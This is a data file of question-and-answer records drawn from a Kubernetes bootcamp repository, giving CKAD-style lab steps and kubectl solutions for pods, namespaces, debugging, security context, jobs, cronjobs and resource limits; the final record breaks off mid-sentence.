{"id": "gh_5415ec746c2f", "question": "How to: lab5-5.yaml", "question_body": "About piouson/kubernetes-bootcamp", "answer": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: myapp\nspec:\n  containers:\n    - name: myapp\n      image: busybox:1.28\n      args:\n        - /bin/sh\n        - -c\n        - >\n          while true;\n          do\n            echo $(date) >> /var/log/date.log;\n            sleep 1;\n          done\n      volumeMounts:\n        - name: logs\n          mountPath: /var/log\n    - name: myapp-logs\n      image: busybox:1.28\n      args: [/bin/sh, -c, \"tail -F /var/log/date.log\"]\n      volumeMounts:\n        - name: logs\n          mountPath: /var/log\n  volumes:\n    - name: logs\n      emptyDir: {}\n```\n\n```sh\nkubectl apply -f lab5-5.yaml\nkubectl get pods\nkubectl describe pods myapp | less\nkubectl logs myapp -c myapp\nkubectl logs myapp -c myapp-logs\nkubectl delete -f lab5-5.yaml\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754308"}
{"id": "gh_a6c8e9030135", "question": "How to: Using namespaces", "question_body": "About piouson/kubernetes-bootcamp", "answer": "[Namespaces](https://kubernetes.io/docs/concepts/overview/working-with-objects/namespaces/) are a way to divide/isolate cluster resources between multiple users. Names of resources need to be unique within a Namespace, but not across namespaces. \\\nNot all Kubernetes resources are in a Namespace and Namespace-based scoping is only applicable for namespaced objects.\n\n> Namespaces should be used sensibly, you can read more about [understanding the motivation for using namespaces](https://kubernetes.io/docs/tasks/administer-cluster/namespaces/#understanding-the-motivation-for-using-namespaces)\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754313"}
{"id": "gh_8d6cf1a55b00", "question": "How to: set `myns` namespace to be the namespace used for subsequent commands", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl config set-context --current --namespace=myns", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754319"}
{"id": "gh_a3dbd503d9a7", "question": "How to: view the namespace object recursively", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl explain namespace --recursive | less\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754324"}
{"id": "gh_b9e6d937f73f", "question": "How to: Lab 5.6 Namespaces", "question_body": "About piouson/kubernetes-bootcamp", "answer": "You can also follow the [admin guide doc for namespaces](https://kubernetes.io/docs/tasks/administer-cluster/namespaces/)\n\n> Remember you can connect a shell to a Pod with `kubectl exec` and try one of `netstat -tulpn` or `ss -tulpn` in the container, if installed, to show open ports.\n\n1. Create a Namespace `myns`\n2. Create a webserver Pod in the `myns` Namespace\n3. Review created resources and confirm `myns` Namespace is assigned to the Pod\n4. Delete resources created\n5. Review the `NAMESPACED` column of the Kubernetes API resources\n6. Review the Namespace object and the Namespace spec\nlab5.6 solution\n```sh\nkubectl create ns myns --dry-run=client -o yaml > lab5-6.yaml\necho --- >> lab5-6.yaml\nkubectl run mypod --image=httpd:alpine -n myns --dry-run=client -o yaml >> lab5-6.yaml\nkubectl apply -f lab5-6.yaml\nkubectl get pods\nkubectl describe -f lab5-6.yaml | less\nkubectl delete -f lab5-6.yaml\nkubectl api-resources | less\nkubectl explain namespace | less\nkubectl explain namespace --recursive | less\nkubectl explain namespace.spec | less\n```\n> Remember that namespaced resources are not visible by default unless the namespace is specified \\\n> 💡 `kubectl get pods` - only shows resources in the `default` namespace \\\n> 💡 `kubectl get pods -n mynamespace` - shows resources in the `mynamespace` namespace", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754338"}
{"id": "gh_20fcddb158b5", "question": "How to: Task - Pods", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Imagine a student in the CKAD Bootcamp training reached out to you for assistance to finish their homework. Their task was to create a `webserver` with a sidecar container for logging in the `cow` namespace. Find this Pod, which could be located in one of the Namespaces `ape`, `cow` or `fox`, and ensure it is configured as required.\n\nAt the end of your task, copy the log file used by the logging container to directory `/home/$USER/ckad-tasks/pods/`\n\n- Command to setup environment:\n  ```sh\n  printf '\\nlab: environment setup in progress...\\n'; echo '{\"apiVersion\":\"v1\",\"items\":[{\"kind\":\"Namespace\",\"apiVersion\":\"v1\",\"metadata\":{\"name\":\"fox\"}},{\"kind\":\"Namespace\",\"apiVersion\":\"v1\",\"metadata\":{\"name\":\"ape\"}},{\"kind\":\"Namespace\",\"apiVersion\":\"v1\",\"metadata\":{\"name\":\"cow\"}},{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"run\":\"box\"},\"name\":\"box\",\"namespace\":\"ape\"},\"spec\":{\"containers\":[{\"args\":[\"sleep\",\"3600\"],\"image\":\"busybox\",\"name\":\"box\"}],\"dnsPolicy\":\"ClusterFirst\",\"restartPolicy\":\"Always\"}},{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"run\":\"for-testing\"},\"name\":\"for-testing\",\"namespace\":\"fox\"},\"spec\":{\"containers\":[{\"args\":[\"sleep\",\"3600\"],\"image\":\"busybox\",\"name\":\"for-testing\"}],\"dnsPolicy\":\"ClusterFirst\",\"restartPolicy\":\"Always\"}},{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"run\":\"webserver\"},\"name\":\"webserver\",\"namespace\":\"fox\"},\"spec\":{\"containers\":[{\"name\":\"server\",\"image\":\"ngnx:1.20-alpine\",\"volumeMounts\":[{\"name\":\"serverlog\",\"mountPath\":\"/usr/share/nginx/html\"}]},{\"name\":\"logger\",\"image\":\"busybox:1.28\",\"args\":[\"/bin/sh\",\"-c\",\"while true; do  echo $(date) >> /usr/share/nginx/html/1.log;\\n  sleep 30;\\ndone\\n\"],\"volumeMounts\":[{\"name\":\"serverlog\",\"mountPath\":\"/usr/share/nginx/html\"}]}],\"volumes\":[{\"name\":\"serverlog\",\"emptyDir\":{}}]}}],\"metadata\":{\"resourceVersion\":\"\"},\"kind\":\"List\"}' | kubectl apply -f - >/dev/null; echo 'lab: environment setup complete!'\n  ```\n- Command to destroy environment:\n  ```sh\n  kubectl delete ns ape cow fox\n  ```\nhints\nhint 1\nDid you search for Pods in specific namespaces, e.g. `kubectl get pod -n ape`?\nhint 2\nDid you review the Pod error message under _STATUS_ column of `kubectl get po` command? You can reveal more information with `kubectl get -owide`.\nhint 3\nDid you review more details of the Pod, especially details under _Containers_ section of `kubectl describe po` command?\nhint 4\nIs the `webserver` Pod up and running in the `cow` Namespace? Remember this is the requirement, so migrate the Pod if not in correct Namespace. No other resources should be migrated.\nhint 5\nDid you delete the `webserver` Pod in wrong Namespace `fox`?\nhint 6\nYou can use `kubectl cp --help` to copy files and directories to and from containers. See [_kubectl_ cheatsheet](https://kubernetes.io/docs/reference/kubectl/cheatsheet/#copy-files-and-directories-to-and-from-containers) for more details.", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754347"}
{"id": "gh_28afbecb494a", "question": "How to: Task - Pods II", "question_body": "About piouson/kubernetes-bootcamp", "answer": "In the `rat` Namespace (create if required), create a Pod named `webapp` that runs `nginx:1.22-alpine` image and has env-var `NGINX_PORT=3005` which determines the port exposed by the container. The Pod container should be named `web` and should mount an `emptyDir` volume to `/etc/nginx/templates`. \\\nThe Pod should have an _Init Container_ named `web-init`, running `busybox:1.28` image, that creates a file in the same `emptyDir` volume, mounted to `/tempdir`, with below command:\n\n```sh\necho -e \"server {\\n\\tlisten\\t\\${NGINX_PORT};\\n\\n\\tlocation / {\\n\\t\\troot\\t/usr/share/nginx/html;\\n\\t}\\n}\" > /tempdir/default.conf.template\n```\nhints\nhint 1\nDid you create the Pod in Namespace `rat`?\nhint 2\nDid you set environment variable `NGINX_PORT=3005` in container `web`? See `kubectl run --help` for how to set an environment variable in a container.\nhint 3\nDid you set Pod's `containerPort` parameter to be same value as env-var `NGINX_PORT`? Since the env-var `NGINX_PORT` determines the container port, you must change set the `containerPort` parameter to this value. See `kubectl run --help` for how to set port exposed by container.\nhint 4\nDid you specify an `emptyDir` volume and mounted it to `/etc/nginx/templates` in Pod container `web`? See [example pod manifest](#pod-manifest-file).\nhint 5\nDid you create `web-init` as an _Init Container_ under `pod.spec.initContainers`? See [_lab 5.3 - init containers_](#lab-53-init-containers).\nhint 6\nDid you run appropriate command in _Init Container_? You can use _list-form_, or _array-form_ with single quotes.\n\n  ```yaml\n  # list form\n  command:\n  - /bin/sh\n  - -c\n  - echo -e \"...\" > /temp...\n  # array form with single quotes\n  command: [\"/bin/sh\", \"-c\", \"echo -e '...' > /temp...\"]\n  ```\nhint 7\nDid you specify an `emptyDir` volume, mounted to `/tempdir` in _Init Container_ `web-init`? See [example pod manifest](#pod-manifest-file).\nhint 8\nDid you confirm that a webpage is being served by container `web` on specified port? Connect a shell to the container and run `curl localhost:3005`.", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754358"}
{"id": "gh_485054a29d3b", "question": "How to: 6. Exploring Pods", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Whilst a Pod is running, the _kubelet_ is able to restart containers to handle some faults. Within a Pod, Kubernetes tracks different container states and determines what action to take to make the Pod healthy again.\n\nKubernetes tracks the _phase_ of a Pod\n\n- Pending - Pod starts here and waits to be scheduled, image download, etc\n- Running - at least one container running\n- Succeeded - all containers terminated successfully\n- Failed - all containers have terminated, at least one terminated in failure\n- Unknown - pod state cannot be obtained, either node communication breakdown or other\n\nKubernetes also tracks the _state_ of containers running in a Pod\n\n- Waiting - startup not complete\n- Running - executing without issues\n- Terminated - ran into issues whilst executing", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754367"}
{"id": "gh_b0bd49b51ab6", "question": "How to: Debugging Pods", "question_body": "About piouson/kubernetes-bootcamp", "answer": "The first step in debugging a Pod is taking a look at it. Check the current state of the Pod and recent events with:\n\n```sh\nkubectl describe pods $POD_NAME\n```\n\nWhen running commands locally in a Terminal, you can immediately see the output `STDOUT`. However, applications running in a cloud environment have their own way of showing their outputs - for Kubernetes, you can view a Pod `STDOUT` with:\n\n```sh\nkubectl logs $POD_NAME", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754381"}
{"id": "gh_f56511809e30", "question": "How to: to view only events", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl get events --field-selector=involvedObject.name=$POD_NAME\n```\n\n> A Pod `STATUS=CrashLoopBackOff` means the Pod is in a cool off period following container failure. The container will be restarted after cool off \\\n> You will usually find more clues in the logs when a Pod shows a _none-zero_ `Exit Code` \\\n> See the [official _debug running pods_ tutorial](https://kubernetes.io/docs/tasks/debug/debug-application/debug-pods/) for more details", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754385"}
{"id": "gh_35aeb59b9d2a", "question": "How to: Lab 6.1 Troubleshoot failing Pod", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Create a Pod with mysql image and confirm Pod state\n2. Get detailed information on the Pod and review Events (any multiple attempts?), 'State', 'Last State' and their Exit codes.\n   - Note that Pod `STATES` might continue to change for containers in error due to default `restartPolicy=Always`\n3. Review cluster logs for the Pod\n4. Apply relevant fixes until you have a mysql Pod in 'Running' state\n5. Delete created resources\nlab6.1 solution\n```sh\nkubectl run mydb --image=mysql --dry-run=client -o yaml > lab6-1.yaml\nkubectl apply -f lab6-1.yaml\nkubectl get pods\nkubectl describe -f lab6-1.yaml | less\nkubectl get pods --watch # watch pods for changes\nctrl+c\nkubectl delete -f lab6-1.yaml\nkubectl run mydb --image=mysql --env=\"MYSQL_ROOT_PASSWORD=secret\" --dry-run=client -o yaml > lab6-1.yaml\nkubectl apply -f lab6-1.yaml\nkubectl get pods\nkubectl describe -f lab6-1.yaml | less\nkubectl delete -f lab6-1.yaml\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754395"}
{"id": "gh_54c88b0e5fdc", "question": "How to: Ephemeral containers", "question_body": "About piouson/kubernetes-bootcamp", "answer": "[Ephemeral containers](https://kubernetes.io/docs/concepts/workloads/pods/ephemeral-containers/) are useful for interactive troubleshooting when `kubectl exec` is insufficient because a container has crashed or a container image doesn't include debugging utilities, such as with [distroless images](https://github.com/GoogleContainerTools/distroless).\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754399"}
{"id": "gh_3dc7efc6d129", "question": "How to: add ephemeral container to Pod `mypod`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl debug -it ephemeral-pod --image=busybox:1.28 --target=ephemeral-demo\n```\n\n> The `EphemeralContainers` feature must be enabled in the cluster and the `--target` parameter must be supported by the _container runtime_ \\\n> When not supported, the _Ephemeral Container_ may not be started, or started without revealing processes", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754404"}
{"id": "gh_d7c6b623d6bd", "question": "How to: Port forwarding", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Port forwarding in Kubernetes should only be used for testing purposes.\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754408"}
{"id": "gh_290a88a2b962", "question": "How to: forward host port 8080 to container `mypod` port 80, requires `ctrl+c` to terminate", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl port-forward mypod 8080:80\n```\n\n> When a program runs in a unix-based environment, it starts a process. A _foreground process_ prevents further execution of commands, e.g. `sleep`\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754413"}
{"id": "gh_8815acaea248", "question": "How to: run the `kubectl port-forward` command in the background", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl port-forward mypod 8080:80 &\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754420"}
{"id": "gh_63b2cdfccfb5", "question": "How to: Lab 6.2. Use port forwarding to access applications", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Create a webserver Pod\n2. List created resources and determine Pod IP address\n3. Access the webserver with the IP address (you can use `curl`)\n4. Use port forwarding to access the webserver on\n5. Terminate port forwarding and delete created resources\nlab6.2 solution\n```sh\nkubectl run webserver --image=httpd\nkubectl get pods -o wide\ncurl $POD_IP_ADDRESS\nkubectl port-forward webserver 5000:80 &\ncurl localhost:5000\nfg 1\nctrl+c\nkubectl delete pods webserver\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.98, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754426"}
{"id": "gh_b147a690d6d0", "question": "How to: Security context", "question_body": "About piouson/kubernetes-bootcamp", "answer": "> This section requires a basic understanding of unix-based systems file permissions and access control covered in [ch2 - container access control](#docker-container-access-control)\n\nA [security context](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) defines privilege and access control settings for a Pod or Container. Security context can be controlled at Pod-level `pod.spec.securityContext` as well as at container-level `pod.spec.containers.securityContext`. A detailed explanation of security context is provided in the linked docs, however, for [CKAD](https://www.cncf.io/certification/ckad/), we will only focus on the following:\n\n- `runAsGroup: $GID` - specifies the GID of logged-in user in pod containers (pod and container level)\n- `runAsNonRoot: $boolean` - specifies whether the containers run as a non-root user at image level - containers will not start if set to `true` while image uses root (pod and container)\n- `runAsUser: $UID` - specifies the UID of logged-in user in pod containers (pod and container)\n- `fsGroup: $GID` - specifies additional GID used for filesystem (mounted volumes) in pod containers (pod level)\n- `privileged: $boolean` - controls whether containers will run as privileged or unprivileged (container level)\n- `allowPrivilegeEscalation: $boolean` - controls whether a process can gain more privileges than its parent process - always `true` when the container is run as privileged, or has `CAP_SYS_ADMIN` (container level)\n- `readOnlyRootFilesystem: $boolean` - controls whether the container has a read-only root filesystem (container level)\n\n>\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754432"}
{"id": "gh_852653f87030", "question": "How to: show container-level security context options", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl explain pod.spec.containers.securityContext | less", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754437"}
{"id": "gh_6c497d1e71d9", "question": "How to: view pod details for `mypod`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl get pods mypod -o yaml\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754441"}
{"id": "gh_351dc2bbb2d4", "question": "How to: Lab 6.3. Set Pod security context", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Using the official docs manifest example `pods/security/security-context.yaml` as base to:\n\n1. Use the official manifest example `pods/security/security-context.yaml` as base to create a Pod manifest with these security context options:\n   - all containers have a logged-in user of `UID: 1010, GID: 1020`\n   - all containers set to run as non-root user\n   - mounted volumes for all containers in the pod have group `GID: 1110`\n   - escalating to root privileges is disabled ([more on privilege escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/))\n2. Apply the manifest file and review details of created pod\n3. Review pod details and confirm security context applied at pod-level and container-level\n4. Connect an interactive shell to a container in the pod and confirm the following:\n   - current user\n   - group membership of current user\n   - ownership of entrypoint process\n   - ownership of the mounted volume `/data/demo`\n   - create a new file `/data/demo/new-file` and confirm file ownership\n   - escalate to a shell with root privileges `sudo su`\n5. Edit the pod manifest file to the following:\n   - do not set logged-in user UID/GID\n   - do not set root privilege escalation\n   - all containers set to run as non-root user\n6. Create a new pod with updated manifest\n7. Review pod details and confirm events and behaviour\n   - what were your findings?\n8. Delete created resources\n9. Explore the Pod spec and compare the `securityContext` options available at pod-level vs container-level\nlab6.3 solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754450"}
{"id": "gh_0b0bc4799926", "question": "How to: lab6-3.yaml", "question_body": "About piouson/kubernetes-bootcamp", "answer": "spec:\n  securityContext:\n    runAsUser: 1010\n    runAsGroup: 1020\n    fsGroup: 1110\n  containers:\n    - name: sec-ctx-demo\n      securityContext:\n        allowPrivilegeEscalation: false", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754461"}
{"id": "gh_9e01fc664ec6", "question": "How to: generate a job manifest", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl create job myjob --image=busybox --dry-run=client -o yaml -- date", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754488"}
{"id": "gh_c58c65a8ef16", "question": "How to: view the job spec", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl explain job.spec | less\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754494"}
{"id": "gh_9410ceab0139", "question": "How to: Lab 6.4. Working with Jobs", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Create a Job `myjob1` with a suitable image that runs the command `echo Lab 6.4. Jobs!`\n2. List jobs and pods\n3. Review the details of `myjob1`\n4. Review the yaml form of `myjob1`\n5. Create another Job `myjob2` with a suitable image that runs the command `date`\n6. List jobs and pods\n7. Repeat [4] using a manifest file with name `myjob3`\n8. List jobs and pods\n9. Delete all jobs created\n10. List jobs and pods\n11. Edit the manifest file and add the following:\n    - 5 pods successfully run the command\n    - pods are auto deleted after 30secs\n12. Apply the new manifest and:\n    - confirm the new changes work as expected\n    - note the total number of resources created\n    - note the behaviour after 30secs\n13. Delete created resources\n14. Review the Job spec to understand fields related to working with jobs\n15. Review the Kubernetes API Resources to determine when jobs was introduced\nlab6.4 solution\n```sh\nkubectl explain job.spec | less\nkubectl create job myjob1 --image=busybox -- echo Lab 6.4. Jobs!\nkubectl get jobs,pods\nkubectl describe job myjob1\nkubectl get jobs myjob1 -o yaml\nkubectl create job myjob2 --image=busybox -- date\nkubectl get jobs,pods\nkubectl create job myjob3 --image=busybox --dry-run=client -o yaml -- date >> lab6-4.yaml\nkubectl apply -f lab6-4.yaml\nkubectl get jobs,pods # so many pods!\nkubectl delete jobs myjob1 myjob2 myjob3\nkubectl get jobs,pods # pods auto deleted!\nnano lab6-4.yaml\n```\n\n```yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754501"}
{"id": "gh_2ccf5368bce9", "question": "How to: lab6-4.yaml", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kind: Job\nspec:\n  template:\n    spec:\n      completions: 5\n      ttlSecondsAfterFinished: 30\n      containers:", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754506"}
{"id": "gh_ef4a8e32b4bc", "question": "How to: create a cronjob `cj` that run a job every minute", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl create cronjob cj --image=busybox --schedule=\"* * * * *\" -- date", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754512"}
{"id": "gh_cf9d2dbe0527", "question": "How to: view the job spec of cronjobs", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl explain cronjobs.spec.jobTemplate.spec\nkubectl api-resources # jobs was introduced in batch/v1\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754518"}
{"id": "gh_a751d39b123a", "question": "How to: Lab 6.5. Working with CronJobs", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Create a job with a suitable image that runs the `date` command every minute\n2. Review details of the created CronJob\n3. Review the YAML form of the created CronJob\n4. List created resources and compare results before and after 1 minute\n5. Delete created resources\n6. Review the CronJob spec to understand fields related to working with cronjobs\n7. Review the Job spec of a CronJob and compare this to a standard Job spec\n8. Review the Kubernetes API Resources to determine when jobs was introduced\nlab6.5 solution\n```sh\nkubectl explain cronjob.spec | less\nkubectl explain cronjob.spec.jobTemplate.spec | less\nkubectl create cronjob mycj --image=busybox --schedule=\"* * * * *\" -- date\nkubectl describe cj mycj | less\nkubectl get cj mycj -o yaml | less\nkubectl get all\nkubectl get pods --watch # watch pods for 60s to see changes\nkubectl delete cj mycj # deletes associated jobs and pods!\nkubectl api-resources # cronjobs was introduced in batch/v1\n```\n> All CronJob `schedule` times are based on the timezone of the [_kube-controller-manager_](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-controller-manager/) \\\n> Since a CronJob runs a Job periodically, the Job spec auto delete feature `ttlSecondsAfterFinished` is quite handy", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754527"}
{"id": "gh_d3548da5432a", "question": "How to: Requests and Limits", "question_body": "About piouson/kubernetes-bootcamp", "answer": "By default, Linux will not limit resources available to processes - containers are processes running on Linux. However, when creating Pod, you can optionally specify how much of each resource a container needs. The most common resources to specify are CPU and RAM, but there are others.\n\n_Request_ is the initial/minimum amount of a particular resource provided to a container, while _Limit_ is the maximum amount of the resource available - the container cannot exceed this value. See [resource management for pods and containers](https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/) for more details.\n\n> A Pod resource request/limit is the sum of the resource requests/limits of containers in the Pod\n> A Pod remains in \"Pending\" status until a Node with sufficient resources becomes available \\\n> Note that _Requests and Limits_ management at the Namespace-level is not for CKAD but covered in [CKA](https://www.cncf.io/certification/cka/)\n\n#### Resource requests and limits of Pod and container\n\n- `spec.containers[].resources.limits.cpu` - in cores and millicores, 500m = 0.5 CPU\n- `spec.containers[].resources.limits.memory` - Ki (1024) / k (1000) | Mi/M | Gi/G | Ti/T | Pi/P | Ei/E\n- `spec.containers[].resources.limits.hugepages-\n`\n- `spec.containers[].resources.requests.cpu`\n- `spec.containers[].resources.requests.memory`\n- `spec.containers[].resources.requests.hugepages-\n`\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754534"}
{"id": "gh_f6922ccb8406", "question": "How to: generate YAML for pod `mypod` that requests 0.2 CPU and 128Mi memory", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl set resources pod mypod --requests=cpu=200m,memory=128Mi --dry-run=client -oyaml|less", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.754539"}
{"id": "gh_5baef9f56afe", "question": "How to: Lab 6.6. Resource limitation", "question_body": "About piouson/kubernetes-bootcamp", "answer": "You may use the [official container resource example manifest](https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/#example-1) or generate a manifest file with `kubectl set resources`.\n\n1. Create a Pod with the following spec:\n   - runs in `dev` namespace\n   - runs two containers, MongoDB database and webserver frontend\n   - restart only on failure, see `pod.spec.restartPolicy`\n   - both containers starts with 0.25 CPU, 64 mebibytes RAM\n   - both containers does not exceed 1 CPU, 256 mebibytes RAM\n2. List created pods\n3. Review pod details and confirm the specified resource quotas are applied\n4. Edit the Pod manifest as follows:\n   - both containers starts with an insufficient amount RAM, e.g 4 mebibytes\n   - both containers does not exceed 8 mebibytes RAM\n5. Apply the manifest and review behaviour\n6. Review logs for both containers\n7. Compare the logs output in [6] to details from `kubectl describe`\n8. Edit the Pod manifest as follows:\n   - both containers starts with an amount of 